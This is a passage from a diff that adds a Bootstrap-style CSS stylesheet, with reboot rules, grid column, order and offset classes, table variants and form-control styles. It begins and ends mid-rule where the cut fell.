objects; +} + +a:hover { + color: #0056b3; + text-decoration: underline; +} + +a:not([href]):not([tabindex]) { + color: inherit; + text-decoration: none; +} + +a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus { + color: inherit; + text-decoration: none; +} + +a:not([href]):not([tabindex]):focus { + outline: 0; +} + +pre, +code, +kbd, +samp { + font-family: monospace, monospace; + font-size: 1em; +} + +pre { + margin-top: 0; + margin-bottom: 1rem; + overflow: auto; + -ms-overflow-style: scrollbar; +} + +figure { + margin: 0 0 1rem; +} + +img { + vertical-align: middle; + border-style: none; +} + +svg:not(:root) { + overflow: hidden; +} + +table { + border-collapse: collapse; +} + +caption { + padding-top: 0.75rem; + padding-bottom: 0.75rem; + color: #6c757d; + text-align: left; + caption-side: bottom; +} + +th { + text-align: inherit; +} + +label { + display: inline-block; + margin-bottom: 0.5rem; +} + +button { + border-radius: 0; +} + +button:focus { + outline: 1px dotted; + outline: 5px auto -webkit-focus-ring-color; +} + +input, +button, +select, +optgroup, +textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit; +} + +button, +input { + overflow: visible; +} + +button, +select { + text-transform: none; +} + +button, +html [type="button"], +[type="reset"], +[type="submit"] { + -webkit-appearance: button; +} + +button::-moz-focus-inner, +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { + padding: 0; + border-style: none; +} + +input[type="radio"], +input[type="checkbox"] { + box-sizing: border-box; + padding: 0; +} + +input[type="date"], +input[type="time"], +input[type="datetime-local"], +input[type="month"] { + -webkit-appearance: listbox; +} + +textarea { + overflow: auto; + resize: vertical; +} + +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} + +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal; +} + +progress { + vertical-align: baseline; +} + +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { + height: auto; +} + +[type="search"] { + outline-offset: -2px; + -webkit-appearance: none; +} + +[type="search"]::-webkit-search-cancel-button, +[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} + +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button; +} + +output { + display: inline-block; +} + +summary { + display: list-item; + cursor: pointer; +} + +template { + display: none; +} + +[hidden] { + display: none !important; +} + +h1, h2, h3, h4, h5, h6, +.h1, .h2, .h3, .h4, .h5, .h6 { + margin-bottom: 0.5rem; + font-family: inherit; + font-weight: 500; + line-height: 1.2; + color: inherit; +} + +h1, .h1 { + font-size: 2.5rem; +} + +h2, .h2 { + font-size: 2rem; +} + +h3, .h3 { + font-size: 1.75rem; +} + +h4, .h4 { + font-size: 1.5rem; +} + +h5, .h5 { + font-size: 1.25rem; +} + +h6, .h6 { + font-size: 1rem; +} + +.lead { + font-size: 1.25rem; + font-weight: 300; +} + +.display-1 { + font-size: 6rem; + font-weight: 300; + line-height: 1.2; +} + +.display-2 { + font-size: 5.5rem; + font-weight: 300; + line-height: 1.2; +} + +.display-3 { + font-size: 4.5rem; + font-weight: 300; + line-height: 1.2; +} + +.display-4 { + font-size: 3.5rem; + font-weight: 300; + line-height: 1.2; +} + +hr { + margin-top: 1rem; + margin-bottom: 1rem; + border: 0; + border-top: 1px solid rgba(0, 0, 0, 0.1); +} + +small, +.small { + font-size: 80%; + font-weight: 400; +} + +mark, +.mark { + padding: 0.2em; + background-color: #fcf8e3; +} + +.list-unstyled { + padding-left: 0; + list-style: none; +} + +.list-inline { + padding-left: 0; + list-style: none; +} + +.list-inline-item { + display: inline-block; +} + +.list-inline-item:not(:last-child) { + margin-right: 0.5rem; +} + +.initialism { + font-size: 90%; + text-transform: uppercase; +} + +.blockquote { + margin-bottom: 1rem; + font-size: 1.25rem; +} + +.blockquote-footer { + display: block; + font-size: 80%; + color: #6c757d; +} + +.blockquote-footer::before { + content: "\2014 \00A0"; +} + +.img-fluid { + max-width: 100%; + height: auto; +} + +.img-thumbnail { + padding: 0.25rem; + background-color: #fff; + border: 1px solid #dee2e6; + border-radius: 0.25rem; + max-width: 100%; + height: auto; +} + +.figure { + display: inline-block; +} + +.figure-img { + margin-bottom: 0.5rem; + line-height: 1; +} + +.figure-caption { + font-size: 90%; + color: #6c757d; +} + +code, +kbd, +pre, +samp { + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; +} + +code { + font-size: 87.5%; + color: #e83e8c; + word-break: break-word; +} + +a > code { + color: inherit; +} + +kbd { + padding: 0.2rem 0.4rem; + font-size: 87.5%; + color: #fff; + background-color: #212529; + border-radius: 0.2rem; +} + +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: 700; +} + +pre { + display: block; + font-size: 87.5%; + color: #212529; +} + +pre code { + font-size: inherit; + color: inherit; + word-break: normal; +} + +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} + +.container { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} + +@media (min-width: 576px) { + .container { + max-width: 540px; + } +} + +@media (min-width: 768px) { + .container { + max-width: 720px; + } +} + +@media (min-width: 992px) { + .container { + max-width: 960px; + } +} + +@media (min-width: 1200px) { + .container { + max-width: 1140px; + } +} + +.container-fluid { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} + +.row { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -15px; + margin-left: -15px; +} + +.no-gutters { + margin-right: 0; + margin-left: 0; +} + +.no-gutters > .col, +.no-gutters > [class*="col-"] { + padding-right: 0; + padding-left: 0; +} + +.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col, +.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm, +.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md, +.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg, +.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl, +.col-xl-auto { + position: relative; + width: 100%; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} + +.col { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; +} + +.col-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; +} + +.col-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; +} + +.col-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; +} + +.col-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; +} + +.col-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; +} + +.col-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; +} + +.col-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; +} + +.col-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; +} + +.col-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; +} + +.col-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; +} + +.col-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; +} + +.col-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; +} + +.col-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; +} + +.order-first { + -ms-flex-order: -1; + order: -1; +} + +.order-last { + -ms-flex-order: 13; + order: 13; +} + +.order-0 { + -ms-flex-order: 0; + order: 0; +} + +.order-1 { + -ms-flex-order: 1; + order: 1; +} + +.order-2 { + -ms-flex-order: 2; + order: 2; +} + +.order-3 { + -ms-flex-order: 3; + order: 3; +} + +.order-4 { + -ms-flex-order: 4; + order: 4; +} + +.order-5 { + -ms-flex-order: 5; + order: 5; +} + +.order-6 { + -ms-flex-order: 6; + order: 6; +} + +.order-7 { + -ms-flex-order: 7; + order: 7; +} + +.order-8 { + -ms-flex-order: 8; + order: 8; +} + +.order-9 { + -ms-flex-order: 9; + order: 9; +} + +.order-10 { + -ms-flex-order: 10; + order: 10; +} + +.order-11 { + -ms-flex-order: 11; + order: 11; +} + +.order-12 { + -ms-flex-order: 12; + order: 12; +} + +.offset-1 { + margin-left: 8.333333%; +} + +.offset-2 { + margin-left: 16.666667%; +} + +.offset-3 { + margin-left: 25%; +} + +.offset-4 { + margin-left: 33.333333%; +} + +.offset-5 { + margin-left: 41.666667%; +} + +.offset-6 { + margin-left: 50%; +} + +.offset-7 { + margin-left: 58.333333%; +} + +.offset-8 { + margin-left: 66.666667%; +} + +.offset-9 { + margin-left: 75%; +} + +.offset-10 { + margin-left: 83.333333%; +} + +.offset-11 { + margin-left: 91.666667%; +} + +@media (min-width: 576px) { + .col-sm { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-sm-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-sm-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-sm-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-sm-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-sm-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-sm-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-sm-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-sm-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-sm-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-sm-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-sm-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-sm-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-sm-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-sm-first { + -ms-flex-order: -1; + order: -1; + } + .order-sm-last { + -ms-flex-order: 13; + order: 13; + } + .order-sm-0 { + -ms-flex-order: 0; + order: 0; + } + .order-sm-1 { + -ms-flex-order: 1; + order: 1; + } + .order-sm-2 { + -ms-flex-order: 2; + order: 2; + } + .order-sm-3 { + -ms-flex-order: 3; + order: 3; + } + .order-sm-4 { + -ms-flex-order: 4; + order: 4; + } + .order-sm-5 { + -ms-flex-order: 5; + order: 5; + } + .order-sm-6 { + -ms-flex-order: 6; + order: 6; + } + .order-sm-7 { + -ms-flex-order: 7; + order: 7; + } + .order-sm-8 { + -ms-flex-order: 8; + order: 8; + } + .order-sm-9 { + -ms-flex-order: 9; + order: 9; + } + .order-sm-10 { + -ms-flex-order: 10; + order: 10; + } + .order-sm-11 { + -ms-flex-order: 11; + order: 11; + } + .order-sm-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-sm-0 { + margin-left: 0; + } + .offset-sm-1 { + margin-left: 8.333333%; + } + .offset-sm-2 { + margin-left: 16.666667%; + } + .offset-sm-3 { + margin-left: 25%; + } + .offset-sm-4 { + margin-left: 33.333333%; + } + .offset-sm-5 { + margin-left: 41.666667%; + } + .offset-sm-6 { + margin-left: 50%; + } + .offset-sm-7 { + margin-left: 58.333333%; + } + .offset-sm-8 { + margin-left: 66.666667%; + } + .offset-sm-9 { + margin-left: 75%; + } + .offset-sm-10 { + margin-left: 83.333333%; + } + .offset-sm-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 768px) { + .col-md { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-md-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-md-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-md-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-md-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-md-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-md-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-md-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-md-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-md-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-md-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-md-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-md-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-md-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-md-first { + -ms-flex-order: -1; + order: -1; + } + .order-md-last { + -ms-flex-order: 13; + order: 13; + } + .order-md-0 { + -ms-flex-order: 0; + order: 0; + } + .order-md-1 { + -ms-flex-order: 1; + order: 1; + } + .order-md-2 { + -ms-flex-order: 2; + order: 2; + } + .order-md-3 { + -ms-flex-order: 3; + order: 3; + } + .order-md-4 { + -ms-flex-order: 4; + order: 4; + } + .order-md-5 { + -ms-flex-order: 5; + order: 5; + } + .order-md-6 { + -ms-flex-order: 6; + order: 6; + } + .order-md-7 { + -ms-flex-order: 7; + order: 7; + } + .order-md-8 { + -ms-flex-order: 8; + order: 8; + } + .order-md-9 { + -ms-flex-order: 9; + order: 9; + } + .order-md-10 { + -ms-flex-order: 10; + order: 10; + } + .order-md-11 { + -ms-flex-order: 11; + order: 11; + } + .order-md-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-md-0 { + margin-left: 0; + } + .offset-md-1 { + margin-left: 8.333333%; + } + .offset-md-2 { + margin-left: 16.666667%; + } + .offset-md-3 { + margin-left: 25%; + } + .offset-md-4 { + margin-left: 33.333333%; + } + .offset-md-5 { + margin-left: 41.666667%; + } + .offset-md-6 { + margin-left: 50%; + } + .offset-md-7 { + margin-left: 58.333333%; + } + .offset-md-8 { + margin-left: 66.666667%; + } + .offset-md-9 { + margin-left: 75%; + } + .offset-md-10 { + margin-left: 83.333333%; + } + .offset-md-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 992px) { + .col-lg { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-lg-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-lg-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-lg-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-lg-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-lg-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-lg-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-lg-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-lg-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-lg-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-lg-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-lg-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-lg-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-lg-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-lg-first { + -ms-flex-order: -1; + order: -1; + } + .order-lg-last { + -ms-flex-order: 13; + order: 13; + } + .order-lg-0 { + -ms-flex-order: 0; + order: 0; + } + .order-lg-1 { + -ms-flex-order: 1; + order: 1; + } + .order-lg-2 { + -ms-flex-order: 2; + order: 2; + } + .order-lg-3 { + -ms-flex-order: 3; + order: 3; + } + .order-lg-4 { + -ms-flex-order: 4; + order: 4; + } + .order-lg-5 { + -ms-flex-order: 5; + order: 5; + } + .order-lg-6 { + -ms-flex-order: 6; + order: 6; + } + .order-lg-7 { + -ms-flex-order: 7; + order: 7; + } + .order-lg-8 { + -ms-flex-order: 8; + order: 8; + } + .order-lg-9 { + -ms-flex-order: 9; + order: 9; + } + .order-lg-10 { + -ms-flex-order: 10; + order: 10; + } + .order-lg-11 { + -ms-flex-order: 11; + order: 11; + } + .order-lg-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-lg-0 { + margin-left: 0; + } + .offset-lg-1 { + margin-left: 8.333333%; + } + .offset-lg-2 { + margin-left: 16.666667%; + } + .offset-lg-3 { + margin-left: 25%; + } + .offset-lg-4 { + margin-left: 33.333333%; + } + .offset-lg-5 { + margin-left: 41.666667%; + } + .offset-lg-6 { + margin-left: 50%; + } + .offset-lg-7 { + margin-left: 58.333333%; + } + .offset-lg-8 { + margin-left: 66.666667%; + } + .offset-lg-9 { + margin-left: 75%; + } + .offset-lg-10 { + margin-left: 83.333333%; + } + .offset-lg-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 1200px) { + .col-xl { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-xl-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-xl-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-xl-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-xl-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-xl-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-xl-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-xl-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-xl-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-xl-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-xl-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-xl-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-xl-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-xl-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-xl-first { + -ms-flex-order: -1; + order: -1; + } + .order-xl-last { + -ms-flex-order: 13; + order: 13; + } + .order-xl-0 { + -ms-flex-order: 0; + order: 0; + } + .order-xl-1 { + -ms-flex-order: 1; + order: 1; + } + .order-xl-2 { + -ms-flex-order: 2; + order: 2; + } + .order-xl-3 { + -ms-flex-order: 3; + order: 3; + } + .order-xl-4 { + -ms-flex-order: 4; + order: 4; + } + .order-xl-5 { + -ms-flex-order: 5; + order: 5; + } + .order-xl-6 { + -ms-flex-order: 6; + order: 6; + } + .order-xl-7 { + -ms-flex-order: 7; + order: 7; + } + .order-xl-8 { + -ms-flex-order: 8; + order: 8; + } + .order-xl-9 { + -ms-flex-order: 9; + order: 9; + } + .order-xl-10 { + -ms-flex-order: 10; + order: 10; + } + .order-xl-11 { + -ms-flex-order: 11; + order: 11; + } + .order-xl-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-xl-0 { + margin-left: 0; + } + .offset-xl-1 { + margin-left: 8.333333%; + } + .offset-xl-2 { + margin-left: 16.666667%; + } + .offset-xl-3 { + margin-left: 25%; + } + .offset-xl-4 { + margin-left: 33.333333%; + } + .offset-xl-5 { + margin-left: 41.666667%; + } + .offset-xl-6 { + margin-left: 50%; + } + .offset-xl-7 { + margin-left: 58.333333%; + } + .offset-xl-8 { + margin-left: 66.666667%; + } + .offset-xl-9 { + margin-left: 75%; + } + .offset-xl-10 { + margin-left: 83.333333%; + } + .offset-xl-11 { + margin-left: 91.666667%; + } +} + +.table { + width: 100%; + max-width: 100%; + margin-bottom: 1rem; + background-color: transparent; +} + +.table th, +.table td { + padding: 0.75rem; + vertical-align: top; + border-top: 1px solid #dee2e6; +} + +.table thead th { + vertical-align: bottom; + border-bottom: 2px solid #dee2e6; +} + +.table tbody + tbody { + border-top: 2px solid #dee2e6; +} + +.table .table { + background-color: #fff; +} + +.table-sm th, +.table-sm td { + padding: 0.3rem; +} + +.table-bordered { + border: 1px solid #dee2e6; +} + +.table-bordered th, +.table-bordered td { + border: 1px solid #dee2e6; +} + +.table-bordered thead th, +.table-bordered thead td { + border-bottom-width: 2px; +} + +.table-borderless th, +.table-borderless td, +.table-borderless thead th, +.table-borderless tbody + tbody { + border: 0; +} + +.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(0, 0, 0, 0.05); +} + +.table-hover tbody tr:hover { + background-color: rgba(0, 0, 0, 0.075); +} + +.table-primary, +.table-primary > th, +.table-primary > td { + background-color: #b8daff; +} + +.table-hover .table-primary:hover { + background-color: #9fcdff; +} + +.table-hover .table-primary:hover > td, +.table-hover .table-primary:hover > th { + background-color: #9fcdff; +} + +.table-secondary, +.table-secondary > th, +.table-secondary > td { + background-color: #d6d8db; +} + +.table-hover .table-secondary:hover { + background-color: #c8cbcf; +} + +.table-hover .table-secondary:hover > td, +.table-hover .table-secondary:hover > th { + background-color: #c8cbcf; +} + +.table-success, +.table-success > th, +.table-success > td { + background-color: #c3e6cb; +} + +.table-hover .table-success:hover { + background-color: #b1dfbb; +} + +.table-hover .table-success:hover > td, +.table-hover .table-success:hover > th { + background-color: #b1dfbb; +} + +.table-info, +.table-info > th, +.table-info > td { + background-color: #bee5eb; +} + +.table-hover .table-info:hover { + background-color: #abdde5; +} + +.table-hover .table-info:hover > td, +.table-hover .table-info:hover > th { + background-color: #abdde5; +} + +.table-warning, +.table-warning > th, +.table-warning > td { + background-color: #ffeeba; +} + +.table-hover .table-warning:hover { + background-color: #ffe8a1; +} + +.table-hover .table-warning:hover > td, +.table-hover .table-warning:hover > th { + background-color: #ffe8a1; +} + +.table-danger, +.table-danger > th, +.table-danger > td { + background-color: #f5c6cb; +} + +.table-hover .table-danger:hover { + background-color: #f1b0b7; +} + +.table-hover .table-danger:hover > td, +.table-hover .table-danger:hover > th { + background-color: #f1b0b7; +} + +.table-light, +.table-light > th, +.table-light > td { + background-color: #fdfdfe; +} + +.table-hover .table-light:hover { + background-color: #ececf6; +} + +.table-hover .table-light:hover > td, +.table-hover .table-light:hover > th { + background-color: #ececf6; +} + +.table-dark, +.table-dark > th, +.table-dark > td { + background-color: #c6c8ca; +} + +.table-hover .table-dark:hover { + background-color: #b9bbbe; +} + +.table-hover .table-dark:hover > td, +.table-hover .table-dark:hover > th { + background-color: #b9bbbe; +} + +.table-active, +.table-active > th, +.table-active > td { + background-color: rgba(0, 0, 0, 0.075); +} + +.table-hover .table-active:hover { + background-color: rgba(0, 0, 0, 0.075); +} + +.table-hover .table-active:hover > td, +.table-hover .table-active:hover > th { + background-color: rgba(0, 0, 0, 0.075); +} + +.table .thead-dark th { + color: #fff; + background-color: #212529; + border-color: #32383e; +} + +.table .thead-light th { + color: #495057; + background-color: #e9ecef; + border-color: #dee2e6; +} + +.table-dark { + color: #fff; + background-color: #212529; +} + +.table-dark th, +.table-dark td, +.table-dark thead th { + border-color: #32383e; +} + +.table-dark.table-bordered { + border: 0; +} + +.table-dark.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(255, 255, 255, 0.05); +} + +.table-dark.table-hover tbody tr:hover { + background-color: rgba(255, 255, 255, 0.075); +} + +@media (max-width: 575.98px) { + .table-responsive-sm { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar; + } + .table-responsive-sm > .table-bordered { + border: 0; + } +} + +@media (max-width: 767.98px) { + .table-responsive-md { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar; + } + .table-responsive-md > .table-bordered { + border: 0; + } +} + +@media (max-width: 991.98px) { + .table-responsive-lg { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar; + } + .table-responsive-lg > .table-bordered { + border: 0; + } +} + +@media (max-width: 1199.98px) { + .table-responsive-xl { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar; + } + .table-responsive-xl > .table-bordered { + border: 0; + } +} + +.table-responsive { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar; +} + +.table-responsive > .table-bordered { + border: 0; +} + +.form-control { + display: block; + width: 100%; + padding: 0.375rem 0.75rem; + font-size: 1rem; + line-height: 1.5; + color: #495057; + background-color: #fff; + background-clip: padding-box; + border: 1px solid #ced4da; + border-radius: 0.25rem; + transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; +} + +@media screen and (prefers-reduced-motion: reduce) { + .form-control { + transition: none; + } +} + +.form-control::-ms-expand { + background-color: transparent; + border: 0; +} + +.form-control:focus { + color: #495057; + background-color: #fff; + border-color: #80bdff; + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.form-control::-webkit-input-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control::-moz-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control:-ms-input-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control::-ms-input-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control::placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control:disabled, .form-control[readonly] { + background-color: #e9ecef; + opacity: 1; +} + +select.form-control:not([size]):not([multiple]) { + height: calc(2.25rem + 2px); +} + +select.form-control:focus::-ms-value { + color: #495057; + background-color: #fff; +} + +.form-control-file, +.form-control-range { + display: block; + width: 100%; +} + +.col-form-label { + padding-top: calc(0.375rem + 1px); + padding-bottom: calc(0.375rem + 1px); + margin-bottom: 0; + font-size: inherit; + line-height: 1.5; +} + +.col-form-label-lg { + padding-top: calc(0.5rem + 1px); + padding-bottom: calc(0.5rem + 1px); + font-size: 1.25rem; + line-height: 1.5; +} + +.col-form-label-sm { + padding-top: calc(0.25rem + 1px); + padding-bottom: calc(0.25rem + 1px); + font-size: 0.875rem; + line-height: 1.5; +} + +.form-control-plaintext { + display: block; + width: 100%; + padding-top: 0.375rem; + padding-bottom: 0.375rem; + margin-bottom: 0; + line-height: 1.5; + color: #212529; + background-color: transparent; + border: solid transparent; + border-width: 1px 0; +} + +.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control, +.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text, +.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text, +.input-group-sm > .input-group-prepend > .form-control-plaintext.btn, +.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control, +.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text, +.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text, +.input-group-lg > .input-group-prepend > .form-control-plaintext.btn, +.input-group-lg > .input-group-append > .form-control-plaintext.btn { + padding-right: 0; + padding-left: 0; +} + +.form-control-sm, .input-group-sm > .form-control, +.input-group-sm > .input-group-prepend > .input-group-text, +.input-group-sm > .input-group-append > .input-group-text, +.input-group-sm > .input-group-prepend > .btn, +.input-group-sm > .input-group-append > .btn { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem; +} + +select.form-control-sm:not([size]):not([multiple]), 